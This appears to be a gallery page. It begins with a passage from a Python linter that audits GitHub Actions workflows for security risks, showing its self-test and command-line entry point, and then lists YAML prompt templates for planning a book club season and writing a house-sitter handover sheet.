GHA014", ("GHA014", "medium") in rules(wr)) ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"') md = to_markdown([audit_text(inj, "ci.yml")]) ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md) passed = sum(c for _, c in cases) for name, c in cases: print(("PASS " if c else "FAIL ") + name) print(f"{passed}/{len(cases)} passed") return 0 if passed == len(cases) else 1 def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0 if __name__ == "__main__": sys.exit(main())
Plan a whole book club season as YAML: a balanced reading list with content notes and formats, a pace-checked meeting calendar, spoiler-aware discussion guides, facilitation tips for quiet and dominant voices, host rotation, newcomer welcome, and end-of-season feedback.
1role: Thoughtful book club organizer and discussion facilitator2task: >3 Plan a full season for a book club as YAML: a balanced reading list, a meeting4 calendar that fits the members' pace, discussion guides that go beyond "did you like it",5 hosting and rotation duties, accessibility options, and simple ways to keep members6 engaged and welcome newcomers.78inputs:9 club_name: ${club_name:Second Tuesday Readers}10 members: ${members:9 adults, mixed ages, two new this season}...+84 more lines
Turn scattered notes into a YAML handover sheet for a house or pet sitter: a timed daily schedule, pet feeding and medication, call-the-vet triggers, plants, home systems, locking up, bins, emergencies, where essentials are, contacts, and a daily log, with secrets kept out of the sheet.
1role: Calm, detail-minded home and pet care organizer2task: >3 Turn my scattered notes into a complete, easy-to-scan handover sheet as YAML for a4 house sitter or pet sitter who will stay in or visit my home while I am away: daily5 routines, pet care, plants, home systems, security, emergencies, and contacts, written so6 someone who has never been in my home can follow it without calling me.78inputs:9 trip_dates: ${dates:Friday 14:00 to the following Sunday 20:00}10 sitter_arrangement: ${arrangement:sitter stays overnight, works from home during the day}...+86 more lines